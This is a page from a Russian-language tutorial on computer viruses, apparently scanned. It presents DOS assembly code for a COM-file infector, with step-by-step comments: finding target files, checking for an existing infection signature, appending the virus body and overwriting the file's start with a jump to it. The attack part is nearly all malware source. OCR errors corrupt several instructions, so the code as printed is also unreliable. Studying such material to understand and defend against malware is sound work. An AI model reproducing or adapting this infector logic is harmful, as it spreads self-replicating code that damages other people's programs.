Истории о вирусах



              

Тело вируса записывается в конец


Рис. 1.1.

;Ищем первый файл по шаблону имени

mov ah,4Eh

mov dx,offset fname - offset myself

add dx.bp

mov cx,00100111b

int 21h

Затем вирус проверяет (по первому байту файла), подходят ли ему най-

денные СОМ-программы:

[Открываем файл

Open:

mov ax,3D02h

mov dx,9Eh

int 21h

;Если при открытии файла ошибок не произошло,

;переходим к чтению, иначе выходим из вируса

jnc See_Him

jmp exit

; Читаем первый байт файла

See_Him:

xchg bx,ax

mov ah,3Fh

mov dx,offset buf-offset myself

add dx.bp

xor ex,ex ;CX=0

12.jpg

inc ex [(увеличение на 1) СХ=1

int 21h

Сравниваем. Если первый байт файла

;не E9h, то переходим к поиску следующего

.файла - этот для заражения не подходит

cmp byte ptr [bp+(offset buf-offset myself )],OE9h

jne find_next

Перед заражением файла вирус проверяет сигнатуру - не исключено,

что файл уже заражен:

Переходим в конец файла (на последний байт)

mov ax,4200h

xor ex,ex

mov dx,[bp+(offset flen-offset MySelf)]

dec dx

int 21h

;Читаем сигнатуру вируса

Read:

mov ah,3Fh

xor ex,ex

inc ex

mov dx.offset bytik-offset myself

add dx.bp

int 21h

.Если при чтении файла ошибок не произошло,

[Проверяем сигнатуру,

;иначе ищем следующий файл

jnc test_bytik

jmp find_next

[Проверяем сигнатуру

Test_bytik:

cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte

;Если сигнатура есть, то ищем другой файл,

.если ее нет - будем заражать

je find_next2

jmp NotJnfected

Затем, в соответствии с предложенной схемой, вирус дописывается

в конец файла-жертвы и устанавливает адрес перехода на самого себя:

[Переходим в конец файла

mov ax,4202h

xor ex,ex

xor dx.dx

int 21h

Останавливаем регистр DS на сегмент кода

push cs

pop ds

[Копируем вирус в файл

mov ah,40h

mov cx.offset VirEnd-offset la

mov dx,bp

sub dx,offset myself-offset la

int 21h

[Записываем в начало файла переход на тело вируса

Write_Jmp:

.Переходим в начало файла

xor сх.сх

xor dx,dx

mov ax,4200h

int 21h

[Записываем первые три байта файла (переход на тело вируса)



Содержание  Назад  Вперед